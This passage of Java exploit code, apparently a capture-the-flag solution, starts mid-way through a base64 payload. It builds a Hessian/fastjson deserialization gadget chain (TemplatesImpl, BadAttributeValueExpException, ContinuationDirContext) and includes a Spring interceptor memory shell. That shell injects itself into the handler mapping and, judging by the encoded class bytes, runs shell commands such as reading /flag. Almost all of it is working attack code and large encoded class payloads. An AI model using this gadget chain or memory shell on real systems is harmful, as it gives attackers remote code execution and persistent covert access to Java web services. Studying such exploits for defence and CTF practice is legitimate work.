BAAAAABgABAAAASgBBAAAAFgACAAAABQBCAEMAAAAAAAUAcQBXAAEATQAAAAUBAHEAAAABAHIAcwADAD8AAAA/AAAAAwAAAAGxAAAAAgBAAAAABgABAAAATwBBAAAAIAADAAAAAQBCAEMAAAAAAAEAdAB1AAEAAAABAHYAdwACAEwAAAAEAAEAeABNAAAACQIAdAAAAHYAAAABAHIAeQADAD8AAABJAAAABAAAAAGxAAAAAgBAAAAABgABAAAAVABBAAAAKgAEAAAAAQBCAEMAAAAAAAEAdAB1AAEAAAABAHoAewACAAAAAQBIAHwAAwBMAAAABAABAHgATQAAAA0DAHQAAAB6AAAASAAAAAIAfQAAAAIAfgDdAAAACgABAJoAlwDcAAlwdAABMXB3AQB4eA==";
                    code = String.format("{\"code\":\"200\",\"message\":\"%s\"}", message);
                }
                String result = new Scanner(code).useDelimiter("\\A").next();
                response.addHeader("Content-Type", "application/json;charset=UTF-8");
                response.getWriter().write(result);
                response.getWriter().flush();
                response.getWriter().close();
                counter += 1;
                return false;
            }
            return true;

    }

    public ExploitInterceptor(){
        try {
            ApplicationContext context = (ApplicationContext) RequestContextHolder.currentRequestAttributes().getAttribute("org.springframework.web.servlet.DispatcherServlet.CONTEXT", 0);
            org.springframework.web.servlet.handler.AbstractHandlerMapping requestMappingHandlerMapping = (org.springframework.web.servlet.handler.AbstractHandlerMapping) context.getBean("requestMappingHandlerMapping");
            Field field = org.springframework.web.servlet.handler.AbstractHandlerMapping.class.getDeclaredField("adaptedInterceptors");
            field.setAccessible(true);
            ArrayList<Object> adaptedInterceptors = (ArrayList <Object>) field.get(requestMappingHandlerMapping);

            for(int i = 0; i < adaptedInterceptors.size(); i++){
                if (adaptedInterceptors.get(i) instanceof ExploitInterceptor){
                    System.out.println("ExploitInterceptor has been added");
                    return;
                }
            }
            ExploitInterceptor exploitInterceptor = new ExploitInterceptor("blabla");
            adaptedInterceptors.add(exploitInterceptor);

        } catch (Exception e) {
            throw new RuntimeException(e);
        }

    }
    private ExploitInterceptor(String a){}

}

For attack server:

TemplatesImpl templatesimpl = new TemplatesImpl();
byte[] bytecodes =  ClassPool.getDefault().get("Exploit2Interceptor").toBytecode();

Reflections.setFieldValue(templatesimpl,"_name","1");
Reflections.setFieldValue(templatesimpl,"_bytecodes",new byte[][] {bytecodes});

JSONObject jsonObject = new JSONObject();
jsonObject.put("xxxx", templatesimpl);


BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException(null);
Reflections.setFieldValue(badAttributeValueExpException, "val", jsonObject);


ByteArrayOutputStream baos  = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(baos);
oos.writeObject(badAttributeValueExpException);
oos.close();

String payloadBase64 = sun.misc.BASE64Encoder.class.newInstance().encode(baos.toByteArray());
System.out.println(payloadBase64.replaceAll("\\A", ""));

Main.java

package com.hessian;

import com.alibaba.fastjson.JSONObject;
import com.alipay.hessian.ClassNameResolver;
import com.caucho.hessian.io.Hessian2Output;
import com.caucho.hessian.io.Hessian2Input;
import com.caucho.hessian.io.HessianOutput;
import com.example.registry.data.Result;
import com.sun.org.apache.xpath.internal.objects.XString;
import com.sun.org.apache.xpath.internal.objects.XStringForFSB;
import io.swagger.v3.core.util.Json;
import org.apache.naming.ResourceRef;
import org.hibernate.metamodel.source.annotations.ReflectionHelper;
import org.springframework.aop.target.HotSwappableTargetSource;
import ysoserial.payloads.util.Reflections;

import javax.naming.CannotProceedException;
import javax.naming.Reference;
import javax.naming.StringRefAddr;
import javax.naming.directory.DirContext;
import java.io.*;
import java.lang.reflect.Array;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Hashtable;

public class Main {

    public static <T> byte[] serialize(T o) throws IOException, IOException {
        FileOutputStream fileOutputStream = new FileOutputStream("ser.bin");
        ByteArrayOutputStream bao = new ByteArrayOutputStream();
        Hessian2Output output = new Hessian2Output(bao);
        output.getSerializerFactory().setAllowNonSerializable(true);
        output.writeObject(o);
        output.close();
        bao.writeTo(fileOutputStream);

        System.out.println(bao.toString());
        return bao.toByteArray();
    }

    public static <T> T deserialize(byte[] bytes) throws IOException {
        ByteArrayInputStream bai = new ByteArrayInputStream(bytes);
        Hessian2Input input = new Hessian2Input(bai);
        Object o = input.readObject();
        return (T) o;
    }

    public static void main(String[] args) throws Exception {
        Constructor constructor = Class.forName("javax.naming.spi.ContinuationDirContext").getDeclaredConstructors()[0];
        constructor.setAccessible(true);

        CannotProceedException cpe = new CannotProceedException();

        Reflections.setFieldValue(cpe, "cause", null);
        Reflections.setFieldValue(cpe, "stackTrace", null);

        // base64 encode of ExploitInterceptor.class
        String b64payload = "yv66vgAAADQA0wsAMgBsCwAyAG0IAG4LAG8AcAgAcQoAcgBzCQAoAHQIAHUIAHYIAHcHAHgKAHIAeQcAegoADQB7CAB8CgANAH0KAA0AfggAfwgAgAsAgQCCCwCBAIMKAIQAhQoAhACGCgCEAIcKAAsAiAoAiQCKCACLCwCMAI0HAI4IAFcLAB0AjwcAkAgAWwoAkQCSCgCTAJQKAJMAlQcAlgoAJQCXCgAlAJgHAJkJAJoAmwgAnAoAnQCeCACfCgAoAHsKACUAoAcAoQcAogoAMACjBwCkAQAHY291bnRlcgEAAUkBAApwb3N0SGFuZGxlAQCSKExqYXZheC9zZXJ2bGV0L2h0dHAvSHR0cFNlcnZsZXRSZXF1ZXN0O0xqYXZheC9zZXJ2bGV0L2h0dHAvSHR0cFNlcnZsZXRSZXNwb25zZTtMamF2YS9sYW5nL09iamVjdDtMb3JnL3NwcmluZ2ZyYW1ld29yay93ZWIvc2VydmxldC9Nb2RlbEFuZFZpZXc7KVYBAARDb2RlAQAPTGluZU51bWJlclRhYmxlAQASTG9jYWxWYXJpYWJsZVRhYmxlAQAEdGhpcwEAFExFeHBsb2l0SW50ZXJjZXB0b3I7AQAHcmVxdWVzdAEAJ0xqYXZheC9zZXJ2bGV0L2h0dHAvSHR0cFNlcnZsZXRSZXF1ZXN0OwEACHJlc3BvbnNlAQAoTGphdmF4L3NlcnZsZXQvaHR0cC9IdHRwU2VydmxldFJlc3BvbnNlOwEAB2hhbmRsZXIBABJMamF2YS9sYW5nL09iamVjdDsBAAxtb2RlbEFuZFZpZXcBAC5Mb3JnL3NwcmluZ2ZyYW1ld29yay93ZWIvc2VydmxldC9Nb2RlbEFuZFZpZXc7AQAKRXhjZXB0aW9ucwEAEE1ldGhvZFBhcmFtZXRlcnMBAA9hZnRlckNvbXBsZXRpb24BAHkoTGphdmF4L3NlcnZsZXQvaHR0cC9IdHRwU2VydmxldFJlcXVlc3Q7TGphdmF4L3NlcnZsZXQvaHR0cC9IdHRwU2VydmxldFJlc3BvbnNlO0xqYXZhL2xhbmcvT2JqZWN0O0xqYXZhL2xhbmcvRXhjZXB0aW9uOylWAQACZXgBABVMamF2YS9sYW5nL0V4Y2VwdGlvbjsBAAlwcmVIYW5kbGUBAGQoTGphdmF4L3NlcnZsZXQvaHR0cC9IdHRwU2VydmxldFJlcXVlc3Q7TGphdmF4L3NlcnZsZXQvaHR0cC9IdHRwU2VydmxldFJlc3BvbnNlO0xqYXZhL2xhbmcvT2JqZWN0OylaAQAHbWVzc2FnZQEAEkxqYXZhL2xhbmcvU3RyaW5nOwEABnJlc3VsdAEABGNvZGUBAA1TdGFja01hcFRhYmxlBwClAQAGPGluaXQ+AQADKClWAQABaQEAB2NvbnRleHQBADBMb3JnL3NwcmluZ2ZyYW1ld29yay9jb250ZXh0L0FwcGxpY2F0aW9uQ29udGV4dDsBABxyZXF1ZXN0TWFwcGluZ0hhbmRsZXJNYXBwaW5nAQBATG9yZy9zcHJpbmdmcmFtZXdvcmsvd2ViL3NlcnZsZXQvaGFuZGxlci9BYnN0cmFjdEhhbmRsZXJNYXBwaW5nOwEABWZpZWxkAQAZTGphdmEvbGFuZy9yZWZsZWN0L0ZpZWxkOwEAE2FkYXB0ZWRJbnRlcmNlcHRvcnMBABVMamF2YS91dGlsL0FycmF5TGlzdDsBABJleHBsb2l0SW50ZXJjZXB0b3IBAAFlAQAWTG9jYWxWYXJpYWJsZVR5cGVUYWJsZQEAKUxqYXZhL3V0aWwvQXJyYXlMaXN0PExqYXZhL2xhbmcvT2JqZWN0Oz47BwCZBwCOBwCQBwCmBwCWBwChAQAVKExqYXZhL2xhbmcvU3RyaW5nOylWAQABYQEACDxjbGluaXQ+AQAKU291cmNlRmlsZQEAF0V4cGxvaXRJbnRlcmNlcHRvci5qYXZhDAA1ADYMAEYARwEAAAcApwwAqACpAQASL2JsYWNrbGlzdC9qZGsvZ2V0BwClDACqAKsMADMANAEAo3siY29kZSI6IjIwMCIsIm1lc3NhZ2UiOiJyTzBBQlhOeUFCTnFZWFpoTG5WMGFXd3VRWEp5WVhsTWFYTjBlSUhTSFpuSFlaMERBQUZKQUFSemFYcGxlSEFBQUFBQmR3UUFBQUFCZEFBcGIzSm5MbXBpYjNOekxuQnliM2g1TG1WcVlpNW9ZVzVrYkdVdVNHOXRaVWhoYm1Sc1pVbHRjR3g0In0BJGxyTzBBQlhOeUFDNXFZWFpoZUM1dFlXNWhaMlZ0Wlc1MExrSmhaRUYwZEhKcFluVjBaVlpoYkhWbFJYaHdSWGhqWlhCMGFXOXUxT2ZhcTJNdFJrQUNBQUZNQUFOMllXeDBBQkpNYW1GMllTOXNZVzVuTDA5aWFtVmpkRHQ0Y2dBVGFtRjJZUzVzWVc1bkxrVjRZMlZ3ZEdsdmJ0RDlIejRhT3h6RUFnQUFlSElBRTJwaGRtRXViR0Z1Wnk1VWFISnZkMkZpYkdYVnhqVW5PWGU0eXdNQUJFd0FCV05oZFhObGRBQVZUR3BoZG1FdmJHRnVaeTlVYUhKdmQyRmliR1U3VEFBTlpHVjBZV2xzVFdWemMyRm5aWFFBRWt4cVlYWmhMMnhoYm1jdlUzUnlhVzVuTzFzQUNuTjBZV05yVkhKaFkyVjBBQjViVEdwaGRtRXZiR0Z1Wnk5VGRHRmphMVJ5WVdObFJXeGxiV1Z1ZER0TUFCUnpkWEJ3Y21WemMyVmtSWGhqWlhCMGFXOXVjM1FBRUV4cVlYWmhMM1YwYVd3dlRHbHpkRHQ0Y0hFQWZnQUljSFZ5QUI1YlRHcGhkbUV1YkdGdVp5NVRkR0ZqYTFSeVlXTmxSV3hsYldWdWREc0NSaW84UFAwaU9RSUFBSGh3QUFBQUFYTnlBQnRxWVhaaExteGhibWN1VTNSaFkydFVjbUZqWlVWc1pXMWxiblJoQ2NXYUpqYmRoUUlBQkVrQUNteHBibVZPZFcxaVpYSk1BQTVrWldOc1lYSnBibWREYkdGemMzRUFmZ0FGVEFBSVptbHNaVTVoYldWeEFINEFCVXdBQ20xbGRHaHZaRTVoYldWeEFINEFCWGh3QUFBQUhIUUFCRTFoYVc1MEFBbE5ZV2x1TG1waGRtRjBBQVJ0WVdsdWMzSUFKbXBoZG1FdWRYUnBiQzVEYjJ4c1pXTjBhVzl1Y3lSVmJtMXZaR2xtYVdGaWJHVk1hWE4wL0E4bE1iWHNqaEFDQUFGTUFBUnNhWE4wY1FCK0FBZDRjZ0FzYW1GMllTNTFkR2xzTGtOdmJHeGxZM1JwYjI1ekpGVnViVzlrYVdacFlXSnNaVU52Ykd4bFkzUnBiMjRaUWdDQXkxNzNIZ0lBQVV3QUFXTjBBQlpNYW1GMllTOTFkR2xzTDBOdmJHeGxZM1JwYjI0N2VIQnpjZ0FUYW1GMllTNTFkR2xzTGtGeWNtRjVUR2x6ZEhpQjBoMlp4MkdkQXdBQlNRQUVjMmw2Wlhod0FBQUFBSGNFQUFBQUFIaHhBSDRBRlhoemNnQWZZMjl0TG1Gc2FXSmhZbUV1Wm1GemRHcHpiMjR1U2xOUFRrOWlhbVZqZEFBQUFBQUFBQUFCQWdBQlRBQURiV0Z3ZEFBUFRHcGhkbUV2ZFhScGJDOU5ZWEE3ZUhCemNnQVJhbUYyWVM1MWRHbHNMa2hoYzJoTllYQUZCOXJCd3haZzBRTUFBa1lBQ214dllXUkdZV04wYjNKSkFBbDBhSEpsYzJodmJHUjRjRDlBQUFBQUFBQU1kd2dBQUFBUUFBQUFBWFFBQkhoNGVIaHpjZ0E2WTI5dExuTjFiaTV2Y21jdVlYQmhZMmhsTG5oaGJHRnVMbWx1ZEdWeWJtRnNMbmh6YkhSakxuUnlZWGd1VkdWdGNHeGhkR1Z6U1cxd2JBbFhUOEZ1cktzekF3QUdTUUFOWDJsdVpHVnVkRTUxYldKbGNra0FEbDkwY21GdWMyeGxkRWx1WkdWNFd3QUtYMko1ZEdWamIyUmxjM1FBQTF0YlFsc0FCbDlqYkdGemMzUUFFbHRNYW1GMllTOXNZVzVuTDBOc1lYTnpPMHdBQlY5dVlXMWxjUUIrQUFWTUFCRmZiM1YwY0hWMFVISnZjR1Z5ZEdsbGMzUUFGa3hxWVhaaEwzVjBhV3d2VUhKdmNHVnlkR2xsY3p0NGNBQUFBQUQvLy8vL2RYSUFBMXRiUWt2OUdSVm5aOXMzQWdBQWVIQUFBQUFCZFhJQUFsdENyUE1YK0FZSVZPQUNBQUI0Y0FBQUZyeksvcnErQUFBQU5BRUhDd0E4QUg4TEFEd0FnQXNBZ1FDQ0NBQ0RDZ0FIQUlRS0FJVUFoZ2NBaHdnQWlBZ0FpUWdBaWdvQWhRQ0xDZ0NNQUkwSEFJNEtBQTBBandnQWtBb0FEUUNSQ2dBTkFKSUhBSk1LQUJJQWxBZ0FsUW9BRWdDV0NnQ1hBSmdLQUFjQW1Rb0FtZ0NiQ0FDY0NnQVNBSjBJQUo0SUFKOExBS0FBb1FzQW9BQ2lDZ0NqQUtRS0FLTUFwUW9Bb3dDbUNnQTdBSlFLQUtjQXFBZ0FxUXNBcWdDckJ3Q3NDQUJnQ3dBbUFLMEhBSzRJQUdRS0FLOEFzQW9Bc1FDeUNnQ3hBTE1IQUxRS0FDNEF0UW9BTGdDMkJ3QzNDUUM0QUxrSUFMb0tBTHNBdkFnQXZRb0FNUUMrQ2dBdUFMOEhBTUFIQU1FS0FEa0F3Z2NBd3djQXhBRUFDbkJ2YzNSSVlXNWtiR1VCQUpJb1RHcGhkbUY0TDNObGNuWnNaWFF2YUhSMGNDOUlkSFJ3VTJWeWRteGxkRkpsY1hWbGMzUTdUR3BoZG1GNEwzTmxjblpzWlhRdmFIUjBjQzlJZEhSd1UyVnlkbXhsZEZKbGMzQnZibk5sTzB4cVlYWmhMMnhoYm1jdlQySnFaV04wTzB4dmNtY3ZjM0J5YVc1blpuSmhiV1YzYjNKckwzZGxZaTl6WlhKMmJHVjBMMDF2WkdWc1FXNWtWbWxsZHpzcFZnRUFCRU52WkdVQkFBOU1hVzVsVG5WdFltVnlWR0ZpYkdVQkFCSk1iMk5oYkZaaGNtbGhZbXhsVkdGaWJHVUJBQVIwYUdsekFRQVZURVY0Y0d4dmFYUXlTVzUwWlhKalpYQjBiM0k3QVFBSGNtVnhkV1Z6ZEFFQUoweHFZWFpoZUM5elpYSjJiR1YwTDJoMGRIQXZTSFIwY0ZObGNuWnNaWFJTWlhGMVpYTjBPd0VBQ0hKbGMzQnZibk5sQVFBb1RHcGhkbUY0TDNObGNuWnNaWFF2YUhSMGNDOUlkSFJ3VTJWeWRteGxkRkpsYzNCdmJuTmxPd0VBQjJoaGJtUnNaWElCQUJKTWFtRjJZUzlzWVc1bkwwOWlhbVZqZERzQkFBeHRiMlJsYkVGdVpGWnBaWGNCQUM1TWIzSm5MM053Y21sdVoyWnlZVzFsZDI5eWF5OTNaV0l2YzJWeWRteGxkQzlOYjJSbGJFRnVaRlpwWlhjN0FRQUtSWGhqWlhCMGFXOXVjd0VBRUUxbGRHaHZaRkJoY21GdFpYUmxjbk1CQUE5aFpuUmxja052YlhCc1pYUnBiMjRCQUhrb1RHcGhkbUY0TDNObGNuWnNaWFF2YUhSMGNDOUlkSFJ3VTJWeWRteGxkRkpsY1hWbGMzUTdUR3BoZG1GNEwzTmxjblpzWlhRdmFIUjBjQzlJZEhSd1UyVnlkbXhsZEZKbGMzQnZibk5sTzB4cVlYWmhMMnhoYm1jdlQySnFaV04wTzB4cVlYWmhMMnhoYm1jdlJYaGpaWEIwYVc5dU95bFdBUUFDWlhnQkFCVk1hbUYyWVM5c1lXNW5MMFY0WTJWd2RHbHZianNCQUFsd2NtVklZVzVrYkdVQkFHUW9UR3BoZG1GNEwzTmxjblpzWlhRdmFIUjBjQzlJZEhSd1UyVnlkbXhsZEZKbGNYVmxjM1E3VEdwaGRtRjRMM05sY25ac1pYUXZhSFIwY0M5SWRIUndVMlZ5ZG14bGRGSmxjM0J2Ym5ObE8weHFZWFpoTDJ4aGJtY3ZUMkpxWldOME95bGFBUUFDYVc0QkFCVk1hbUYyWVM5cGJ5OUpibkIxZEZOMGNtVmhiVHNCQUFadmRYUndkWFFCQUJKTWFtRjJZUzlzWVc1bkwxTjBjbWx1WnpzQkFBWnlaWE4xYkhRQkFBMVRkR0ZqYTAxaGNGUmhZbXhsQVFBR1BHbHVhWFErQVFBREtDbFdBUUFCYVFFQUFVa0JBQWRqYjI1MFpYaDBBUUF3VEc5eVp5OXpjSEpwYm1kbWNtRnRaWGR2Y21zdlkyOXVkR1Y0ZEM5QmNIQnNhV05oZEdsdmJrTnZiblJsZUhRN0FRQWNjbVZ4ZFdWemRFMWhjSEJwYm1kSVlXNWtiR1Z5VFdGd2NHbHVad0VBUUV4dmNtY3ZjM0J5YVc1blpuSmhiV1YzYjNKckwzZGxZaTl6WlhKMmJHVjBMMmhoYm1Sc1pYSXZRV0p6ZEhKaFkzUklZVzVrYkdWeVRXRndjR2x1WnpzQkFBVm1hV1ZzWkFFQUdVeHFZWFpoTDJ4aGJtY3ZjbVZtYkdWamRDOUdhV1ZzWkRzQkFCTmhaR0Z3ZEdWa1NXNTBaWEpqWlhCMGIzSnpBUUFWVEdwaGRtRXZkWFJwYkM5QmNuSmhlVXhwYzNRN0FRQVRaWGh3Ykc5cGRESkpiblJsY21ObGNIUnZjZ0VBQVdVQkFCWk1iMk5oYkZaaGNtbGhZbXhsVkhsd1pWUmhZbXhsQVFBcFRHcGhkbUV2ZFhScGJDOUJjbkpoZVV4cGMzUThUR3BoZG1FdmJHRnVaeTlQWW1wbFkzUTdQanNIQUxjSEFLd0hBSzRIQU1VSEFMUUhBTUFCQUJVb1RHcGhkbUV2YkdGdVp5OVRkSEpwYm1jN0tWWUJBQUZoQVFBSmRISmhibk5tYjNKdEFRQnlLRXhqYjIwdmMzVnVMMjl5Wnk5aGNHRmphR1V2ZUdGc1lXNHZhVzUwWlhKdVlXd3ZlSE5zZEdNdlJFOU5PMXRNWTI5dEwzTjFiaTl2Y21jdllYQmhZMmhsTDNodGJDOXBiblJsY201aGJDOXpaWEpwWVd4cGVtVnlMMU5sY21saGJHbDZZWFJwYjI1SVlXNWtiR1Z5T3lsV0FRQUlaRzlqZFcxbGJuUUJBQzFNWTI5dEwzTjFiaTl2Y21jdllYQmhZMmhsTDNoaGJHRnVMMmx1ZEdWeWJtRnNMM2h6YkhSakwwUlBUVHNCQUFob1lXNWtiR1Z5Y3dFQVFsdE1ZMjl0TDNOMWJpOXZjbWN2WVhCaFkyaGxMM2h0YkM5cGJuUmxjbTVoYkM5elpYSnBZV3hwZW1WeUwxTmxjbWxoYkdsNllYUnBiMjVJWVc1a2JHVnlPd2NBeGdFQXBpaE1ZMjl0TDNOMWJpOXZjbWN2WVhCaFkyaGxMM2hoYkdGdUwybHVkR1Z5Ym1Gc0wzaHpiSFJqTDBSUFRUdE1ZMjl0TDNOMWJpOXZjbWN2WVhCaFkyaGxMM2h0YkM5cGJuUmxjbTVoYkM5a2RHMHZSRlJOUVhocGMwbDBaWEpoZEc5eU8weGpiMjB2YzNWdUwyOXlaeTloY0dGamFHVXZlRzFzTDJsdWRHVnlibUZzTDNObGNtbGhiR2w2WlhJdlUyVnlhV0ZzYVhwaGRHbHZia2hoYm1Sc1pYSTdLVllCQUFocGRHVnlZWFJ2Y2dFQU5VeGpiMjB2YzNWdUwyOXlaeTloY0dGamFHVXZlRzFzTDJsdWRHVnlibUZzTDJSMGJTOUVWRTFCZUdselNYUmxjbUYwYjNJN0FRQkJUR052YlM5emRXNHZiM0puTDJGd1lXTm9aUzk0Yld3dmFXNTBaWEp1WVd3dmMyVnlhV0ZzYVhwbGNpOVRaWEpwWVd4cGVtRjBhVzl1U0dGdVpHeGxjanNCQUFwVGIzVnlZMlZHYVd4bEFRQVlSWGh3Ykc5cGRESkpiblJsY21ObGNIUnZjaTVxWVhaaERBQTlBRDRNQUU0QVR3Y0F4d3dBeUFESkFRQUhMM04wWVhSMWN3d0F5Z0RMQndETURBRE5BTTRCQUJCcVlYWmhMMnhoYm1jdlUzUnlhVzVuQVFBSEwySnBiaTl6YUFFQUFpMWpBUUFKWTJGMElDOW1iR0ZuREFEUEFOQUhBTkVNQU5JQTB3RUFFV3BoZG1FdmRYUnBiQzlUWTJGdWJtVnlEQUJhQU5RQkFBSmNRUXdBMVFEV0RBRFhBTWtCQUJkcVlYWmhMMnhoYm1jdlUzUnlhVzVuUW5WcGJHUmxjZ3dBV2dCYkFRQVpleUpqYjJSbElqb2lNakF3SWl3aWJXVnpjMkZuWlNJNklnd0EyQURaQndEYURBRGJBTjRNQU44QTRBY0E0UXdBNGdEakFRQUNJbjBNQU9RQXlRRUFERU52Ym5SbGJuUXRWSGx3WlFFQUhtRndjR3hwWTJGMGFXOXVMMnB6YjI0N1kyaGhjbk5sZEQxVlZFWXRPQWNBNVF3QTVnRG5EQURvQU9rSEFPb01BT3NBY0F3QTdBQmJEQUR0QUZzSEFPNE1BTzhBOEFFQU9XOXlaeTV6Y0hKcGJtZG1jbUZ0WlhkdmNtc3VkMlZpTG5ObGNuWnNaWFF1UkdsemNHRjBZMmhsY2xObGNuWnNaWFF1UTA5T1ZFVllWQWNBOFF3QThnRHpBUUF1YjNKbkwzTndjbWx1WjJaeVlXMWxkMjl5YXk5amIyNTBaWGgwTDBGd2NHeHBZMkYwYVc5dVEyOXVkR1Y0ZEF3QTlBRDFBUUErYjNKbkwzTndjbWx1WjJaeVlXMWxkMjl5YXk5M1pXSXZjMlZ5ZG14bGRDOW9ZVzVrYkdWeUwwRmljM1J5WVdOMFNHRnVaR3hsY2sxaGNIQnBibWNIQVBZTUFQY0ErQWNBeFF3QStRRDZEQUQ3QVB3QkFCTnFZWFpoTDNWMGFXd3ZRWEp5WVhsTWFYTjBEQUQ5QVA0TUFQc0Evd0VBRTBWNGNHeHZhWFF5U1c1MFpYSmpaWEIwYjNJSEFRQU1BUUVCQWdFQUhsUmxiWEJKYm5SbGNtTmxjSFJ2Y2lCb1lYTWdZbVZsYmlCaFpHUmxaQWNCQXd3QkJBQndBUUFHWW14aFlteGhEQUJhQUhBTUFRVUF5d0VBRTJwaGRtRXZiR0Z1Wnk5RmVHTmxjSFJwYjI0QkFCcHFZWFpoTDJ4aGJtY3ZVblZ1ZEdsdFpVVjRZMlZ3ZEdsdmJnd0FXZ0VHQVFCQVkyOXRMM04xYmk5dmNtY3ZZWEJoWTJobEwzaGhiR0Z1TDJsdWRHVnlibUZzTDNoemJIUmpMM0oxYm5ScGJXVXZRV0p6ZEhKaFkzUlVjbUZ1YzJ4bGRBRUFNbTl5Wnk5emNISnBibWRtY21GdFpYZHZjbXN2ZDJWaUwzTmxjblpzWlhRdlNHRnVaR3hsY2tsdWRHVnlZMlZ3ZEc5eUFRQVhhbUYyWVM5c1lXNW5MM0psWm14bFkzUXZSbWxsYkdRQkFEbGpiMjB2YzNWdUwyOXlaeTloY0dGamFHVXZlR0ZzWVc0dmFXNTBaWEp1WVd3dmVITnNkR012VkhKaGJuTnNaWFJGZUdObGNIUnBiMjRCQUNWcVlYWmhlQzl6WlhKMmJHVjBMMmgwZEhBdlNIUjBjRk5sY25ac1pYUlNaWEYxWlhOMEFRQU5aMlYwVW1WeGRXVnpkRlZTU1FFQUZDZ3BUR3BoZG1FdmJHRnVaeTlUZEhKcGJtYzdBUUFHWlhGMVlXeHpBUUFWS0V4cVlYWmhMMnhoYm1jdlQySnFaV04wT3lsYUFRQVJhbUYyWVM5c1lXNW5MMUoxYm5ScGJXVUJBQXBuWlhSU2RXNTBhVzFsQVFBVktDbE1hbUYyWVM5c1lXNW5MMUoxYm5ScGJXVTdBUUFFWlhobFl3RUFLQ2hiVEdwaGRtRXZiR0Z1Wnk5VGRISnBibWM3S1V4cVlYWmhMMnhoYm1jdlVISnZZMlZ6Y3pzQkFCRnFZWFpoTDJ4aGJtY3ZVSEp2WTJWemN3RUFEbWRsZEVsdWNIVjBVM1J5WldGdEFRQVhLQ2xNYW1GMllTOXBieTlKYm5CMWRGTjBjbVZoYlRzQkFCZ29UR3BoZG1FdmFXOHZTVzV3ZFhSVGRISmxZVzA3S1ZZQkFBeDFjMlZFWld4cGJXbDBaWElCQUNjb1RHcGhkbUV2YkdGdVp5OVRkSEpwYm1jN0tVeHFZWFpoTDNWMGFXd3ZVMk5oYm01bGNqc0JBQVJ1WlhoMEFRQUdZWEJ3Wlc1a0FRQXRLRXhxWVhaaEwyeGhibWN2VTNSeWFXNW5PeWxNYW1GMllTOXNZVzVuTDFOMGNtbHVaMEoxYVd4a1pYSTdBUUFRYW1GMllTOTFkR2xzTDBKaGMyVTJOQUVBQ21kbGRFVnVZMjlrWlhJQkFBZEZibU52WkdWeUFRQU1TVzV1WlhKRGJHRnpjMlZ6QVFBY0tDbE1hbUYyWVM5MWRHbHNMMEpoYzJVMk5DUkZibU52WkdWeU93RUFDR2RsZEVKNWRHVnpBUUFFS0NsYlFnRUFHR3BoZG1FdmRYUnBiQzlDWVhObE5qUWtSVzVqYjJSbGNnRUFEbVZ1WTI5a1pWUnZVM1J5YVc1bkFRQVdLRnRDS1V4cVlYWmhMMnhoYm1jdlUzUnlhVzVuT3dFQUNIUnZVM1J5YVc1bkFRQW1hbUYyWVhndmMyVnlkbXhsZEM5b2RIUndMMGgwZEhCVFpYSjJiR1YwVW1WemNHOXVjMlVCQUFsaFpHUklaV0ZrWlhJQkFDY29UR3BoZG1FdmJHRnVaeTlUZEhKcGJtYzdUR3BoZG1FdmJHRnVaeTlUZEhKcGJtYzdLVllCQUFsblpYUlhjbWwwWlhJQkFCY29LVXhxWVhaaEwybHZMMUJ5YVc1MFYzSnBkR1Z5T3dFQUUycGhkbUV2YVc4dlVISnBiblJYY21sMFpYSUJBQVYzY21sMFpRRUFCV1pzZFhOb0FRQUZZMnh2YzJVQkFEeHZjbWN2YzNCeWFXNW5abkpoYldWM2IzSnJMM2RsWWk5amIyNTBaWGgwTDNKbGNYVmxjM1F2VW1WeGRXVnpkRU52Ym5SbGVIUkliMnhrWlhJQkFCaGpkWEp5Wlc1MFVtVnhkV1Z6ZEVGMGRISnBZblYwWlhNQkFEMG9LVXh2Y21jdmMzQnlhVzVuWm5KaGJXVjNiM0pyTDNkbFlpOWpiMjUwWlhoMEwzSmxjWFZsYzNRdlVtVnhkV1Z6ZEVGMGRISnBZblYwWlhNN0FRQTViM0puTDNOd2NtbHVaMlp5WVcxbGQyOXlheTkzWldJdlkyOXVkR1Y0ZEM5eVpYRjFaWE4wTDFKbGNYVmxjM1JCZEhSeWFXSjFkR1Z6QVFBTVoyVjBRWFIwY21saWRYUmxBUUFuS0V4cVlYWmhMMnhoYm1jdlUzUnlhVzVuTzBrcFRHcGhkbUV2YkdGdVp5OVBZbXBsWTNRN0FRQUhaMlYwUW1WaGJnRUFKaWhNYW1GMllTOXNZVzVuTDFOMGNtbHVaenNwVEdwaGRtRXZiR0Z1Wnk5UFltcGxZM1E3QVFBUGFtRjJZUzlzWVc1bkwwTnNZWE56QVFBUVoyVjBSR1ZqYkdGeVpXUkdhV1ZzWkFFQUxTaE1hbUYyWVM5c1lXNW5MMU4wY21sdVp6c3BUR3BoZG1FdmJHRnVaeTl5Wldac1pXTjBMMFpwWld4a093RUFEWE5sZEVGalkyVnpjMmxpYkdVQkFBUW9XaWxXQVFBRFoyVjBBUUFtS0V4cVlYWmhMMnhoYm1jdlQySnFaV04wT3lsTWFtRjJZUzlzWVc1bkwwOWlhbVZqZERzQkFBUnphWHBsQVFBREtDbEpBUUFWS0VrcFRHcGhkbUV2YkdGdVp5OVBZbXBsWTNRN0FRQVFhbUYyWVM5c1lXNW5MMU41YzNSbGJRRUFBMjkxZEFFQUZVeHFZWFpoTDJsdkwxQnlhVzUwVTNSeVpXRnRPd0VBRTJwaGRtRXZhVzh2VUhKcGJuUlRkSEpsWVcwQkFBZHdjbWx1ZEd4dUFRQURZV1JrQVFBWUtFeHFZWFpoTDJ4aGJtY3ZWR2h5YjNkaFlteGxPeWxXQUNFQU1RQTdBQUVBUEFBQUFBY0FBUUE5QUQ0QUF3QS9BQUFBWUFBRkFBVUFBQUFLS2lzc0xSa0V0d0FCc1FBQUFBSUFRQUFBQUFvQUFnQUFBQmdBQ1FBWkFFRUFBQUEwQUFVQUFBQUtBRUlBUXdBQUFBQUFDZ0JFQUVVQUFRQUFBQW9BUmdCSEFBSUFBQUFLQUVnQVNRQURBQUFBQ2dCS0FFc0FCQUJNQUFBQUJBQUJBRGdBVFFBQUFCRUVBRVFBQUFCR0FBQUFTQUFBQUVvQUFBQUJBRTRBVHdBREFEOEFBQUJnQUFVQUJRQUFBQW9xS3l3dEdRUzNBQUt4QUFBQUFnQkFBQUFBQ2dBQ0FBQUFIUUFKQUI0QVFRQUFBRFFBQlFBQUFBb0FRZ0JEQUFBQUFBQUtBRVFBUlFBQkFBQUFDZ0JHQUVjQUFnQUFBQW9BU0FCSkFBTUFBQUFLQUZBQVVRQUVBRXdBQUFBRUFBRUFPQUJOQUFBQUVRUUFSQUFBQUVZQUFBQklBQUFBVUFBQUFBRUFVZ0JU